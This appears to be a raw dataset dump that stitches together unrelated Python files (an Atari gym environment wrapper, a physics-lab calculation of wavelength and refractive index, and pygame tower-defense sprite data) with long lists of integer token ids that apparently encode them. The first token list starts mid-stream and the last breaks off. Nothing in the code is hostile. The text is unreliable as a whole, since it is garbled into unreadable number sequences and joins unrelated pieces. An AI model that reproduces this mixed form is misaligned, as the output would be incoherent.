29892,
376,
29876,
21908,
29889,
1188,
1159,
13,
4706,
1067,
29879,
29889,
21457,
567,
29918,
1188,
353,
365,
4850,
567,
3403,
29898,
1188,
29918,
1445,
29922,
1188,
29918,
1445,
29897,
13,
4706,
1067,
29879,
29889,
29880,
4850,
567,
3389,
353,
365,
4850,
567,
6558,
29898,
1272,
29918,
1445,
29892,
1020,
29926,
29918,
1445,
29892,
1480,
29918,
1445,
29897,
13,
13,
1678,
822,
1243,
29918,
29880,
4850,
567,
29918,
1188,
29898,
1311,
1125,
13,
4706,
4235,
353,
376,
10568,
1700,
5694,
3965,
1589,
1236,
634,
7288,
875,
4077,
2272,
3415,
28012,
29880,
21226,
5059,
9358,
1466,
376,
320,
13,
462,
376,
774,
898,
321,
2521,
1226,
4861,
287,
321,
6574,
376,
320,
13,
462,
376,
331,
324,
560,
549,
634,
737,
301,
29916,
21261,
301,
29920,
921,
29891,
921,
29920,
343,
29920,
9027,
29908,
13,
4706,
4235,
353,
4235,
29889,
5451,
580,
13,
4706,
14563,
29877,
29918,
1272,
29918,
550,
353,
7442,
29889,
1359,
3945,
29898,
13,
9651,
2897,
29889,
2084,
29889,
7122,
29898,
1688,
29918,
3972,
29892,
376,
721,
4346,
29918,
1272,
29889,
3945,
5783,
13,
4706,
14563,
29877,
29918,
1272,
353,
1583,
29889,
29880,
4850,
567,
3389,
29889,
1188,
29889,
721,
4346,
29918,
1272,
13,
4706,
1583,
29889,
9294,
9843,
29898,
24582,
29898,
1761,
29898,
721,
4346,
29918,
1272,
29889,
8149,
3101,
511,
12705,
29898,
9621,
876,
13,
4706,
1583,
29889,
9294,
9843,
29898,
1311,
29889,
29880,
4850,
567,
3389,
29889,
1188,
29889,
29876,
3487,
24530,
718,
29871,
29896,
29892,
13,
462,
308,
7431,
29898,
721,
4346,
29918,
1272,
1839,
10568,
25901,
13,
4706,
848,
353,
518,
721,
4346,
29918,
1272,
29961,
29895,
29962,
363,
413,
297,
4235,
29962,
13,
4706,
7442,
29889,
13424,
29889,
9294,
29918,
284,
3242,
29918,
11745,
29898,
1272,
29892,
7442,
29889,
3286,
4220,
29898,
721,
4346,
29918,
1272,
29918,
550,
511,
13677,
29922,
29896,
29900,
29897,
13,
13,
1678,
822,
1243,
29918,
29880,
4850,
567,
29918,
3018,
622,
706,
29898,
1311,
1125,
13,
4706,
4235,
353,
376,
4178,
4835,
29918,
333,
12301,
29918,
1853,
921,
343,
503,
325,
29916,
10195,
325,
29920,
6062,
4158,
29908,
13,
4706,
4235,
353,
4235,
29889,
5451,
580,
13,
4706,
5335,
342,
1022,
29918,
550,
353,
29871,
29947,
29906,
13,
4706,
23324,
706,
29918,
550,
353,
7442,
29889,
1359,
3945,
29898,
359,
29889,
2084,
29889,
7122,
29898,
1688,
29918,
3972,
29892,
13,
462,
462,
462,
376,
3018,
622,
706,
29918,
9346,
342,
1022,
29918,
29947,
29906,
29918,
24582,
29889,
3945,
5783,
13,
4706,
3380,
353,
938,
29898,
9346,
342,
1022,
29918,
550,
847,
29871,
29906,
29897,
334,
1583,
29889,
29880,
4850,
567,
3389,
29889,
8924,
4835,
13,
4706,
1095,
353,
313,
524,
29898,
9346,
342,
1022,
29918,
550,
847,
29871,
29906,
29897,
718,
29871,
29896,
29897,
334,
1583,
29889,
29880,
4850,
567,
3389,
29889,
8924,
4835,
13,
4706,
23324,
706,
353,
1583,
29889,
29880,
4850,
567,
3389,
29889,
3018,
622,
706,
29961,
463,
29901,
355,
29962,
13,
4706,
396,
12301,
18999,
297,
278,
23324,
706,
8665,
515,
29871,
29900,
13,
4706,
7442,
29889,
13424,
29889,
9294,
29918,
284,
3242,
29918,
11745,
29898,
3018,
622,
706,
7503,
3816,
9621,
29961,
29900,
20526,
13,
462,
462,
539,
23324,
706,
29918,
550,
7503,
29892,
29871,
29900,
29962,
448,
29871,
29896,
29892,
13677,
29922,
29896,
29900,
29897,
13,
4706,
363,
474,
29892,
285,
430,
297,
26985,
29898,
9621,
29961,
29896,
17531,
1125,
13,
9651,
7442,
29889,
13424,
29889,
9294,
29918,
284,
3242,
29918,
11745,
29898,
3018,
622,
706,
7503,
3816,
29888,
430,
1402,
13,
462,
462,
965,
23324,
706,
29918,
550,
7503,
29892,
474,
718,
29871,
29896,
1402,
13,
462,
462,
965,
13677,
29922,
29896,
29900,
29897,
13,
13,
1678,
822,
1243,
29918,
657,
29918,
4984,
1973,
29918,
3166,
29918,
3018,
622,
706,
29898,
1311,
1125,
13,
4706,
12286,
353,
1583,
29889,
29880,
4850,
567,
3389,
29889,
657,
29918,
4984,
1973,
29918,
3166,
29918,
3018,
622,
706,
580,
13,
4706,
1583,
29889,
9294,
9843,
29898,
2435,
29898,
4984,
1973,
511,
7431,
29898,
1311,
29889,
29880,
4850,
567,
3389,
29889,
9346,
4196,
567,
876,
13,
13,
1678,
822,
1243,
29918,
657,
29918,
2218,
29886,
4620,
4110,
29898,
1311,
1125,
13,
4706,
3829,
29892,
12272,
353,
1583,
29889,
29880,
4850,
567,
3389,
29889,
657,
29918,
2218,
29886,
4620,
4110,
580,
13,
4706,
1583,
29889,
9294,
9843,
29898,
2218,
29886,
29889,
12181,
29961,
29900,
1402,
7431,
29898,
23905,
876,
13,
4706,
1583,
29889,
9294,
9843,
29898,
2218,
29886,
29889,
12181,
29961,
29896,
1402,
7431,
29898,
1311,
29889,
29880,
4850,
567,
3389,
29889,
9346,
4196,
567,
29897,
448,
29871,
29896,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
2218,
29886,
29889,
12181,
29961,
29906,
1402,
29871,
29941,
29897,
13,
4706,
1583,
29889,
9294,
2499,
3242,
9843,
29898,
2218,
29886,
14352,
29896,
29892,
448,
29896,
29892,
448,
29896,
1402,
29871,
29900,
29889,
29900,
29955,
29955,
29900,
29955,
29929,
29929,
29929,
29929,
29929,
29929,
29929,
29929,
29929,
29929,
29955,
29947,
29947,
29897,
13,
13,
1678,
822,
1243,
29918,
15550,
2133,
29898,
1311,
1125,
13,
4706,
270,
353,
1583,
29889,
29880,
4850,
567,
3389,
29889,
294,
29918,
8977,
580,
13,
4706,
301,
29885,
567,
29918,
3389,
353,
365,
4850,
567,
6558,
29889,
3166,
29918,
8977,
29898,
29881,
29897,
13,
4706,
1583,
29889,
9294,
21533,
9843,
29898,
29881,
29892,
301,
29885,
567,
29918,
3389,
29889,
294,
29918,
8977,
3101,
13,
4706,
270,
29906,
353,
1583,
29889,
21457,
567,
29918,
1188,
29889,
294,
29918,
8977,
580,
13,
4706,
301,
29885,
567,
29918,
1188,
353,
365,
4850,
567,
3403,
29889,
3166,
29918,
8977,
29898,
29881,
29906,
29897,
13,
4706,
1583,
29889,
9294,
21533,
9843,
29898,
29881,
29906,
29892,
301,
29885,
567,
29918,
1188,
29889,
294,
29918,
8977,
3101,
13,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
443,
27958,
29889,
3396,
580,
13,
2
] |
atari/atari.py | neevparikh/lwm | 17 | 41681 | <filename>atari/atari.py<gh_stars>10-100
import torch
from gym.spaces.box import Box
from baselines import bench
from baselines.common.vec_env.shmem_vec_env import ShmemVecEnv
from baselines.common.atari_wrappers import wrap_deepmind, make_atari
from baselines.common.vec_env import VecEnvWrapper
def make_vec_envs(name, num, seed=0, max_ep_len=100000):
def make_env(rank):
def _thunk():
full_name = f"{name}NoFrameskip-v4"
env = make_atari(full_name, max_episode_steps=max_ep_len)
env.seed(seed + rank)
env = bench.Monitor(env, None)
env = wrap_deepmind(env, episode_life=True, clip_rewards=False)
return env
return _thunk
envs = [make_env(i) for i in range(num)]
envs = ShmemVecEnv(envs, context="fork")
envs = VecTorch(envs)
return envs
class VecTorch(VecEnvWrapper):
def __init__(self, env):
super(VecTorch, self).__init__(env)
obs = self.observation_space.shape
self.observation_space = Box(0, 255, [obs[2], obs[0], obs[1]],
dtype=self.observation_space.dtype)
def _convert_obs(self, x):
return torch.from_numpy(x).permute(0, 3, 1, 2)
def reset(self):
return self._convert_obs(self.venv.reset())
def step_async(self, actions):
assert len(actions.shape) == 2
actions = actions[:, 0].cpu().numpy()
self.venv.step_async(actions)
def step_wait(self):
obs, reward, done, info = self.venv.step_wait()
obs = self._convert_obs(obs)
reward = torch.from_numpy(reward)[..., None].float()
done = torch.tensor(done, dtype=torch.uint8)[..., None]
return obs, reward, done, info
| [
1,
529,
9507,
29958,
271,
1306,
29914,
271,
1306,
29889,
2272,
29966,
12443,
29918,
303,
1503,
29958,
29896,
29900,
29899,
29896,
29900,
29900,
13,
5215,
4842,
305,
13,
3166,
330,
962,
29889,
22854,
29889,
1884,
1053,
11773,
13,
3166,
2362,
24210,
1053,
3856,
305,
13,
3166,
2362,
24210,
29889,
9435,
29889,
2003,
29918,
6272,
29889,
845,
6954,
29918,
2003,
29918,
6272,
1053,
1383,
6954,
25987,
21745,
13,
3166,
2362,
24210,
29889,
9435,
29889,
271,
1306,
29918,
29893,
336,
22437,
1053,
12244,
29918,
24535,
24021,
29892,
1207,
29918,
271,
1306,
13,
3166,
2362,
24210,
29889,
9435,
29889,
2003,
29918,
6272,
1053,
26393,
21745,
15646,
13,
13,
13,
1753,
1207,
29918,
2003,
29918,
264,
4270,
29898,
978,
29892,
954,
29892,
16717,
29922,
29900,
29892,
4236,
29918,
1022,
29918,
2435,
29922,
29896,
29900,
29900,
29900,
29900,
29900,
1125,
13,
1678,
822,
1207,
29918,
6272,
29898,
10003,
1125,
13,
4706,
822,
903,
386,
2960,
7295,
13,
9651,
2989,
29918,
978,
353,
285,
29908,
29912,
978,
29913,
3782,
14438,
1280,
29895,
666,
29899,
29894,
29946,
29908,
13,
9651,
8829,
353,
1207,
29918,
271,
1306,
29898,
8159,
29918,
978,
29892,
4236,
29918,
1022,
275,
356,
29918,
24530,
29922,
3317,
29918,
1022,
29918,
2435,
29897,
13,
9651,
8829,
29889,
26776,
29898,
26776,
718,
7115,
29897,
13,
9651,
8829,
353,
3856,
305,
29889,
7185,
2105,
29898,
6272,
29892,
6213,
29897,
13,
9651,
8829,
353,
12244,
29918,
24535,
24021,
29898,
6272,
29892,
12720,
29918,
19264,
29922,
5574,
29892,
20102,
29918,
276,
2935,
29922,
8824,
29897,
13,
9651,
736,
8829,
13,
13,
4706,
736,
903,
386,
2960,
13,
13,
1678,
427,
4270,
353,
518,
5675,
29918,
6272,
29898,
29875,
29897,
363,
474,
297,
3464,
29898,
1949,
4638,
13,
1678,
427,
4270,
353,
1383,
6954,
25987,
21745,
29898,
264,
4270,
29892,
3030,
543,
29888,
548,
1159,
13,
1678,
427,
4270,
353,
26393,
29911,
25350,
29898,
264,
4270,
29897,
13,
1678,
736,
427,
4270,
13,
13,
13,
1990,
26393,
29911,
25350,
29898,
25987,
21745,
15646,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
8829,
1125,
13,
4706,
2428,
29898,
25987,
29911,
25350,
29892,
1583,
467,
1649,
2344,
12035,
6272,
29897,
13,
4706,
20881,
353,
1583,
29889,
26739,
362,
29918,
3493,
29889,
12181,
13,
4706,
1583,
29889,
26739,
362,
29918,
3493,
353,
11773,
29898,
29900,
29892,
29871,
29906,
29945,
29945,
29892,
518,
26290,
29961,
29906,
1402,
20881,
29961,
29900,
1402,
20881,
29961,
29896,
20526,
13,
462,
462,
268,
26688,
29922,
1311,
29889,
26739,
362,
29918,
3493,
29889,
29881,
1853,
29897,
13,
13,
1678,
822,
903,
13441,
29918,
26290,
29898,
1311,
29892,
921,
1125,
13,
4706,
736,
4842,
305,
29889,
3166,
29918,
23749,
29898,
29916,
467,
17858,
1082,
29898,
29900,
29892,
29871,
29941,
29892,
29871,
29896,
29892,
29871,
29906,
29897,
13,
13,
1678,
822,
10092,
29898,
1311,
1125,
13,
4706,
736,
1583,
3032,
13441,
29918,
26290,
29898,
1311,
29889,
854,
29894,
29889,
12071,
3101,
13,
13,
1678,
822,
4331,
29918,
12674,
29898,
1311,
29892,
8820,
1125,
13,
4706,
4974,
7431,
29898,
7387,
29889,
12181,
29897,
1275,
29871,
29906,
13,
4706,
8820,
353,
8820,
7503,
29892,
29871,
29900,
1822,
21970,
2141,
23749,
580,
13,
4706,
1583,
29889,
854,
29894,
29889,
10568,
29918,
12674,
29898,
7387,
29897,
13,
13,
1678,
822,
4331,
29918,
10685,
29898,
1311,
1125,
13,
4706,
20881,
29892,
20751,
29892,
2309,
29892,
5235,
353,
1583,
29889,
854,
29894,
29889,
10568,
29918,
10685,
580,
13,
4706,
20881,
353,
1583,
3032,
13441,
29918,
26290,
29898,
26290,
29897,
13,
4706,
20751,
353,
4842,
305,
29889,
3166,
29918,
23749,
29898,
276,
1328,
9601,
16361,
6213,
1822,
7411,
580,
13,
4706,
2309,
353,
4842,
305,
29889,
20158,
29898,
15091,
29892,
26688,
29922,
7345,
305,
29889,
13470,
29947,
9601,
16361,
6213,
29962,
13,
4706,
736,
20881,
29892,
20751,
29892,
2309,
29892,
5235,
13,
2
] |
v401/python/rechnung.py | chrbeckm/anfaenger-praktikum | 2 | 129164 | import numpy as np
import uncertainties.unumpy as unumpy
from uncertainties import ufloat
from scipy.stats import sem
print('Wellenlaenge')
dd1, za = np.genfromtxt('python/wellenlaenge.txt', unpack=True)
dd = (dd1*10**(-3))/5.017
lam = 2 * dd / za
mlam = np.mean(lam)
slam = sem(lam)
rlam = ufloat(mlam, slam)
np.savetxt('build/wellenlaenge.txt', np.column_stack([dd1, dd, za, lam]), header='dd1, dd, za, lam')
print('Vakuum')
dp, zb = np.genfromtxt('python/vakuum.txt', unpack=True)
dn = zb * 650*10**(-9) / (2 * 0.05)
mdn = np.mean(dn)
sdn = sem(dn)
rdn = ufloat(mdn, sdn)
n = 1 + rdn * 295.15 * 1.0132 / (273.15*0.8)
print('rlam =',rlam)
print('rdn =',rdn)
print('n =',n)
np.savetxt('build/vakuum.txt', np.column_stack([dp, zb, dn]), header='dp, zb, delta n')
| [
1,
1053,
12655,
408,
7442,
13,
5215,
443,
6327,
2365,
583,
29889,
348,
398,
2272,
408,
443,
398,
2272,
13,
3166,
443,
6327,
2365,
583,
1053,
318,
7411,
13,
3166,
4560,
2272,
29889,
16202,
1053,
3031,
13,
13,
2158,
877,
29956,
4919,
433,
264,
479,
1495,
13,
1289,
29896,
29892,
4022,
353,
7442,
29889,
1885,
3166,
3945,
877,
4691,
29914,
29893,
4919,
433,
264,
479,
29889,
3945,
742,
443,
4058,
29922,
5574,
29897,
13,
1289,
353,
313,
1289,
29896,
29930,
29896,
29900,
1068,
6278,
29941,
876,
29914,
29945,
29889,
29900,
29896,
29955,
13,
5288,
353,
29871,
29906,
334,
24488,
847,
4022,
13,
828,
314,
353,
7442,
29889,
12676,
29898,
5288,
29897,
13,
2536,
314,
353,
3031,
29898,
5288,
29897,
13,
2096,
314,
353,
318,
7411,
29898,
828,
314,
29892,
2243,
314,
29897,
13,
9302,
29889,
29879,
485,
300,
486,
877,
4282,
29914,
29893,
4919,
433,
264,
479,
29889,
3945,
742,
7442,
29889,
4914,
29918,
1429,
4197,
1289,
29896,
29892,
24488,
29892,
4022,
29892,
301,
314,
11724,
4839,
2433,
1289,
29896,
29892,
24488,
29892,
4022,
29892,
301,
314,
1495,
13,
13,
2158,
877,
29963,
16774,
398,
1495,
13,
6099,
29892,
22015,
353,
7442,
29889,
1885,
3166,
3945,
877,
4691,
29914,
29894,
16774,
398,
29889,
3945,
742,
443,
4058,
29922,
5574,
29897,
13,
5200,
353,
22015,
334,
29871,
29953,
29945,
29900,
29930,
29896,
29900,
1068,
6278,
29929,
29897,
847,
313,
29906,
334,
29871,
29900,
29889,
29900,
29945,
29897,
13,
3487,
29876,
353,
7442,
29889,
12676,
29898,
5200,
29897,
13,
4928,
29876,
353,
3031,
29898,
5200,
29897,
13,
29878,
5200,
353,
318,
7411,
29898,
3487,
29876,
29892,
269,
5200,
29897,
13,
29876,
353,
29871,
29896,
718,
364,
5200,
334,
29871,
29906,
29929,
29945,
29889,
29896,
29945,
334,
29871,
29896,
29889,
29900,
29896,
29941,
29906,
847,
313,
29906,
29955,
29941,
29889,
29896,
29945,
29930,
29900,
29889,
29947,
29897,
13,
2158,
877,
2096,
314,
353,
742,
2096,
314,
29897,
13,
2158,
877,
29878,
5200,
353,
742,
29878,
5200,
29897,
13,
2158,
877,
29876,
353,
742,
29876,
29897,
13,
9302,
29889,
29879,
485,
300,
486,
877,
4282,
29914,
29894,
16774,
398,
29889,
3945,
742,
7442,
29889,
4914,
29918,
1429,
4197,
6099,
29892,
22015,
29892,
270,
29876,
11724,
4839,
2433,
6099,
29892,
22015,
29892,
19471,
302,
1495,
13,
2
] |
src/towerData.py | jahrmarkt/TowerGame | 0 | 39552 |
from enum import Enum
from pygame.sprite import *
pygame.init()
pygame.mixer.init()
size = (width, height) = 512, 704
screen = pygame.display.set_mode(size)
def loadTower(n):
filename = "assets/sprites/towers/" + n + ".png"
return pygame.image.load(filename).convert_alpha()
def loadProjectile(n):
filename = "assets/sprites/projectiles/" + n + ".png"
return pygame.image.load(filename).convert_alpha()
class BoostType(Enum):
SPEED = 1
DAMAGE = 2
RANGE = 3
DOUBLE = 4
class TowerType(Enum):
FIRE = 0
ROCKY = 1
YELLOW = 2
GREEN = 3
REDROOF = 4
HIGH = 5
HIGHBLUE = 6
HIGHBROWN = 7
ROCKYBOOST = 8
LIBRARY = 9
class ProjectileType(Enum):
FIRE = 0
LIGHTNING1 = 1
LIGHTNING2 = 2
ARROW = 3
POISON = 4
BOMB = 5
spriteTowerFire = loadTower('fire')
spriteTowerRocky = loadTower('rocky')
spriteTowerYellow = loadTower('yellow')
spriteTowerGreen = loadTower('green')
spriteTowerRedroof = loadTower('redroof')
spriteTowerHigh = loadTower('high')
spriteTowerHighblue = loadTower('highblue')
spriteTowerHighbrown = loadTower('highbrown')
spriteTowerRockyboost = loadTower('rockyboost')
spriteTowerLibrary = loadTower('library')
iconTowerFire = pygame.transform.scale(loadTower('fire'), (64,64))
iconTowerRocky = pygame.transform.scale(loadTower('rocky'), (64,64))
iconTowerYellow = pygame.transform.scale(loadTower('yellow'), (64,64))
iconTowerGreen = pygame.transform.scale(loadTower('green'), (64,64))
iconTowerRedroof = pygame.transform.scale(loadTower('redroof'), (64,64))
iconTowerHigh = pygame.transform.scale(loadTower('high'), (64,64))
iconTowerHighblue = pygame.transform.scale(loadTower('highblue'), (64,64))
iconTowerHighbrown = pygame.transform.scale(loadTower('highbrown'), (64,64))
iconTowerRockyboost = pygame.transform.scale(loadTower('rockyboost'), (64,64))
iconTowerLibrary = pygame.transform.scale(loadTower('library'), (64,64))
spriteProjectileFire = loadProjectile('fire')
spriteProjectileLightning1 = loadProjectile('lightning1')
spriteProjectileLightning2 = loadProjectile('lightning2')
spriteProjectileArrow = loadProjectile('arrow')
spriteProjectilePoison = loadProjectile('poison')
spriteProjectileBomb = loadProjectile('bomb')
towerList = \
{ TowerType.FIRE : (spriteTowerFire, 100, 15, False, ProjectileType.FIRE, None, iconTowerFire),
TowerType.ROCKY : (spriteTowerRocky, 150, 30, False, ProjectileType.ARROW, None, iconTowerRocky),
TowerType.YELLOW : (spriteTowerYellow, 150, 30, False, ProjectileType.LIGHTNING1, None, iconTowerYellow),
TowerType.GREEN : (spriteTowerGreen, 150, 30, False, ProjectileType.POISON, None, iconTowerGreen),
TowerType.REDROOF : (spriteTowerRedroof, 150, 30, False, ProjectileType.ARROW, None, iconTowerRedroof),
TowerType.HIGH : (spriteTowerHigh, 10, 10, True, None, BoostType.DAMAGE, iconTowerHigh),
TowerType.HIGHBLUE : (spriteTowerHighblue, 10, 10, True, None, BoostType.RANGE, iconTowerHighblue),
TowerType.HIGHBROWN : (spriteTowerHighbrown, 10, 10, True, None, BoostType.RANGE, iconTowerHighbrown),
TowerType.ROCKYBOOST : (spriteTowerRockyboost, 10, 10, True, None, BoostType.DAMAGE, iconTowerRockyboost),
TowerType.LIBRARY : (spriteTowerLibrary, 10, 10, True, None, BoostType.DOUBLE, iconTowerLibrary),
}
projectileList = \
{ ProjectileType.FIRE : (spriteProjectileFire, 3, 4, ),
ProjectileType.LIGHTNING1 : (spriteProjectileLightning1, 2, 1, ),
ProjectileType.LIGHTNING2 : (spriteProjectileLightning2, 2, 1, ),
ProjectileType.ARROW : (spriteProjectileArrow, 2, 1, ),
ProjectileType.POISON : (spriteProjectilePoison, 3, 1, ),
ProjectileType.BOMB : (spriteProjectileBomb, 1, 1, ),
}
| [
1,
29871,
13,
3166,
14115,
1053,
1174,
398,
13,
3166,
22028,
29889,
15099,
568,
1053,
334,
13,
13,
13,
2272,
11802,
29889,
2344,
580,
13,
2272,
11802,
29889,
28084,
261,
29889,
2344,
580,
13,
2311,
353,
313,
2103,
29892,
3171,
29897,
353,
29871,
29945,
29896,
29906,
29892,
29871,
29955,
29900,
29946,
13,
10525,
353,
22028,
29889,
4990,
29889,
842,
29918,
8513,
29898,
2311,
29897,
13,
13,
1753,
2254,
29911,
1680,
29898,
29876,
1125,
13,
1678,
10422,
353,
376,
16596,
29914,
15099,
3246,
29914,
29873,
340,
414,
12975,
718,
302,
718,
11393,
2732,
29908,
13,
268,
13,
1678,
736,
22028,
29889,
3027,
29889,
1359,
29898,
9507,
467,
13441,
29918,
2312,
580,
13,
13,
1753,
2254,
7653,
488,
29898,
29876,
1125,
13,
1678,
10422,
353,
376,
16596,
29914,
15099,
3246,
29914,
4836,
5475,
12975,
718,
302,
718,
11393,
2732,
29908,
13,
1678,
736,
22028,
29889,
3027,
29889,
1359,
29898,
9507,
467,
13441,
29918,
2312,
580,
13,
268,
13,
1990,
1952,
520,
1542,
29898,
16854,
1125,
13,
1678,
317,
4162,
3352,
353,
29871,
29896,
13,
1678,
21330,
1529,
1692,
353,
29871,
29906,
13,
1678,
390,
24336,
353,
29871,
29941,
13,
1678,
11662,
7466,
1307,
353,
29871,
29946,
13,
268,
13,
1990,
23615,
1542,
29898,
16854,
1125,
13,
12,
3738,
1525,
353,
29871,
29900,
13,
12,
1672,
7077,
29979,
353,
29871,
29896,
13,
12,
29979,
29923,
2208,
9806,
353,
29871,
29906,
13,
12,
29954,
1525,
1430,
353,
29871,
29941,
13,
12,
19386,
1672,
9800,
353,
29871,
29946,
13,
12,
29950,
6259,
29950,
353,
29871,
29945,
13,
12,
29950,
6259,
29950,
13367,
4462,
353,
29871,
29953,
13,
12,
29950,
6259,
29950,
29933,
1672,
16048,
353,
29871,
29955,
13,
12,
1672,
7077,
29979,
8456,
3718,
353,
29871,
29947,
13,
12,
5265,
15176,
19926,
353,
29871,
29929,
13,
13,
13,
1990,
8010,
488,
1542,
29898,
16854,
1125,
13,
12,
3738,
1525,
353,
29871,
29900,
13,
12,
5265,
29954,
3912,
29940,
4214,
29896,
353,
29871,
29896,
13,
12,
5265,
29954,
3912,
29940,
4214,
29906,
353,
29871,
29906,
13,
12,
1718,
25180,
353,
29871,
29941,
13,
12,
13152,
29902,
3094,
353,
29871,
29946,
13,
12,
29933,
6488,
29933,
353,
29871,
29945,
13,
13,
13,
15099,
568,
29911,
1680,
18654,
353,
2254,
29911,
1680,
877,
8696,
1495,
13,
15099,
568,
29911,
1680,
29934,
1698,
29891,
353,
2254,
29911,
1680,
877,
20821,
29891,
1495,
13,
15099,
568,
29911,
1680,
29979,
4743,
353,
2254,
29911,
1680,
877,
29136,
1495,
13,
15099,
568,
29911,
1680,
24599,
353,
2254,
29911,
1680,
877,
12692,
1495,
13,
15099,
568,
29911,
1680,
9039,
307,
974,
353,
2254,
29911,
1680,
877,
1127,
307,
974,
1495,
13,
15099,
568,
29911,
1680,
16382,
353,
2254,
29911,
1680,
877,
9812,
1495,
13,
15099,
568,
29911,
1680,
16382,
9539,
353,
2254,
29911,
1680,
877,
9812,
9539,
1495,
13,
15099,
568,
29911,
1680,
16382,
29890,
4708,
353,
2254,
29911,
1680,
877,
9812,
29890,
4708,
1495,
13,
15099,
568,
29911,
1680,
29934,
1698,
29891,
17079,
353,
2254,
29911,
1680,
877,
20821,
29891,
17079,
1495,
13,
15099,
568,
29911,
1680,
12284,
353,
2254,
29911,
1680,
877,
5258,
1495,
13,
13,
13,
4144,
29911,
1680,
18654,
353,
22028,
29889,
9067,
29889,
7052,
29898,
1359,
29911,
1680,
877,
8696,
5477,
313,
29953,
29946,
29892,
29953,
29946,
876,
13,
4144,
29911,
1680,
29934,
1698,
29891,
353,
22028,
29889,
9067,
29889,
7052,
29898,
1359,
29911,
1680,
877,
20821,
29891,
5477,
313,
29953,
29946,
29892,
29953,
29946,
876,
13,
4144,
29911,
1680,
29979,
4743,
353,
22028,
29889,
9067,
29889,
7052,
29898,
1359,
29911,
1680,
877,
29136,
5477,
313,
29953,
29946,
29892,
29953,
29946,
876,
13,
4144,
29911,
1680,
24599,
353,
22028,
29889,
9067,
29889,
7052,
29898,
1359,
29911,
1680,
877,
12692,
5477,
313,
29953,
29946,
29892,
29953,
29946,
876,
13,
4144,
29911,
1680,
9039,
307,
974,
353,
22028,
29889,
9067,
29889,
7052,
29898,
1359,
29911,
1680,
877,
1127,
307,
974,
5477,
313,
29953,
29946,
29892,
29953,
29946,
876,
13,
4144,
29911,
1680,
16382,
353,
22028,
29889,
9067,
29889,
7052,
29898,
1359,
29911,
1680,
877,
9812,
5477,
313,
29953,
29946,
29892,
29953,
29946,
876,
13,
4144,
29911,
1680,
16382,
9539,
353,
22028,
29889,
9067,
29889,
7052,
29898,
1359,
29911,
1680,
877,
9812,
9539,
5477,
313,
29953,
29946,
29892,
29953,
29946,
876,
13,
4144,
29911,
1680,
16382,
29890,
4708,
353,
22028,
29889,
9067,
29889,
7052,
29898,
1359,
29911,
1680,
877,
9812,
29890,
4708,
5477,
313,
29953,
29946,
29892,
29953,
29946,
876,
13,
4144,
29911,
1680,
29934,
1698,
29891,
17079,
353,
22028,
29889,
9067,
29889,
7052,
29898,
1359,
29911,
1680,
877,
20821,
29891,
17079,
5477,
313,
29953,
29946,
29892,
29953,
29946,
876,
13,
4144,
29911,
1680,
12284,
353,
22028,
29889,
9067,
29889,
7052,
29898,
1359,
29911,
1680,
877,
5258,
5477,
313,
29953,
29946,
29892,
29953,
29946,
876,
13,
13,
13,
15099,
568,
7653,
488,
18654,
353,
2254,
7653,
488,
877,
8696,
1495,
13,
15099,
568,
7653,
488,
20769,
1076,
29896,
353,
2254,
7653,
488,
877,
4366,
1076,
29896,
1495,
13,
15099,
568,
7653,
488,
20769,
1076,
29906,
353,
2254,
7653,
488,
877,
4366,
1076,
29906,
1495,
13,
15099,
568,
7653,
488,
1433,
798,
353,
2254,
7653,
488,
877,
2936,
1495,
13,
15099,
568,
7653,
488,
9837,
2285,
353,
2254,
7653,
488,
877,
1129,
2285,
1495,
13,
15099,
568,
7653,
488,
29933,
3424,
353,
2254,
7653,
488,
877,
29890,
3424,
1495,
13,
13,
13,
29873,
1680,
1293,
353,
320,
13,
29912,
12,
29911,
1680,
1542,
29889,
3738,
1525,
584,
313,
15099,
568,
29911,
1680,
18654,
29892,
29871,
29896,
29900,
29900,
29892,
29871,
29896,
29945,
29892,
7700,
29892,
8010,
488,
1542,
29889,
3738,
1525,
29892,
6213,
29892,
9849,
29911,
1680,
18654,
511,
29871,
13,
12,
29911,
1680,
1542,
29889,
1672,
7077,
29979,
584,
313,
15099,
568,
29911,
1680,
29934,
1698,
29891,
29892,
29871,
29896,
29945,
29900,
29892,
29871,
29941,
29900,
29892,
7700,
29892,
8010,
488,
1542,
29889,
1718,
25180,
29892,
6213,
29892,
9849,
29911,
1680,
29934,
1698,
29891,
511,
29871,
13,
12,
29911,
1680,
1542,
29889,
29979,
29923,
2208,
9806,
584,
313,
15099,
568,
29911,
1680,
29979,
4743,
29892,
29871,
29896,
29945,
29900,
29892,
29871,
29941,
29900,
29892,
7700,
29892,
8010,
488,
1542,
29889,
5265,
29954,
3912,
29940,
4214,
29896,
29892,
6213,
29892,
9849,
29911,
1680,
29979,
4743,
511,
29871,
13,
12,
29911,
1680,
1542,
29889,
29954,
1525,
1430,
584,
313,
15099,
568,
29911,
1680,
24599,
29892,
29871,
29896,
29945,
29900,
29892,
29871,
29941,
29900,
29892,
7700,
29892,
8010,
488,
1542,
29889,
13152,
29902,
3094,
29892,
6213,
29892,
9849,
29911,
1680,
24599,
511,
29871,
13,
12,
29911,
1680,
1542,
29889,
19386,
1672,
9800,
584,
313,
15099,
568,
29911,
1680,
9039,
307,
974,
29892,
29871,
29896,
29945,
29900,
29892,
29871,
29941,
29900,
29892,
7700,
29892,
8010,
488,
1542,
29889,
1718,
25180,
29892,
6213,
29892,
9849,
29911,
1680,
9039,
307,
974,
511,
29871,
13,
12,
29911,
1680,
1542,
29889,
29950,
6259,
29950,
584,
313,
15099,
568,
29911,
1680,
16382,
29892,
29871,
29896,
29900,
29892,
29871,
29896,
29900,
29892,
5852,
29892,
6213,
29892,
1952,
520,
1542,
29889,
7698,
1529,
1692,
29892,
9849,
29911,
1680,
16382,
511,
29871,
13,
12,
29911,
1680,
1542,
29889,
29950,
6259,
29950,
13367,
4462,
584,
313,
15099,
568,
29911,
1680,
16382,
9539,
29892,
29871,
29896,
29900,
29892,
29871,
29896,
29900,
29892,
5852,
29892,
6213,
29892,
1952,
520,
1542,
29889,
29934,
24336,
29892,
9849,
29911,
1680,
16382,
9539,
511,
29871,
13,
12,
29911,
1680,
1542,
29889,
29950,
6259,
29950,
29933,
1672,
16048,
584,
313,
15099,
568,
29911,
1680,
16382,
29890,
4708,
29892,
29871,
29896,
29900,
29892,
29871,
29896,
29900,
29892,
5852,
29892,
6213,
29892,
1952,
520,
1542,
29889,
29934,
24336,
29892,
9849,
29911,
1680,
16382,
29890,
4708,
511,
29871,
13,
12,
29911,
1680,
1542,
